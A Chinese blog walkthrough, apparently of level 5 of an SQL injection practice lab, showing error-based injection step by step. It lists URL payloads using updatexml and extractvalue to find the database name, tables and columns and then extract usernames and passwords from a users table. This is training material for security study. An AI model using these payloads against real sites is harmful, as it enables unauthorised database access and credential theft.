报错注入
1.判断是否存在注入
?id=1
?id=1'
报错,闭合点为 ' ,初步判断为字符型
2.判断注入类型
?id=1' and '1'='1
?id=1' and '1'='2
注入类型为字符型
3.猜字段名
?id=1' order by 3--+
?id=1' order by 4--+
有三个字段
4.确定回显位
?id=-1' union select 1,2,3--+
不报错,没有回显位,考虑报错注入
什么是报错注入
报错注入是通过特殊函数的错误使用从而导致报错,并使其输出错误结果来获取信息的。简单点说,就是在注入点调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息 (我们要的信息就包含在页面的报错信息中)。
常见的报错注入
双查询报错注入、exp函数报错注入、Extractvalue函数报错注入、updatexml函数报错注入、join语句报错注入、GeometryCollection函数报错注入等。
5.爆出数据库名
方法一
?id=-1' union select (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
方法二
?id=1' and extractvalue(1,concat(1,(database())))--+
6.爆出表名
方法一
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = database() limit 3,1),0x7e),1)--+
方法二
?id=1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security')))--+
7.爆出字段名
方法一
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema ='security' and table_name = 'users' limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema ='security' and table_name = 'users' limit 1,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema ='security' and table_name = 'users' limit 2,1),0x7e),1)--+
方法二
?id=1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users')))--+
8.查询具体数据
方法一
?id=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+
?id=1' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+
方法二
?id=1' and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))--+
?id=1' and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))--+
一次只能查询单个数据
?id=1' and extractvalue(1,concat(1,(select group_concat(username,'~',password) from users)))--+
标签:0x7e,第五,报错,select,--+,SQL,靶场,id,concat
From: https://blog.csdn.net/2401_88387979/article/details/144195945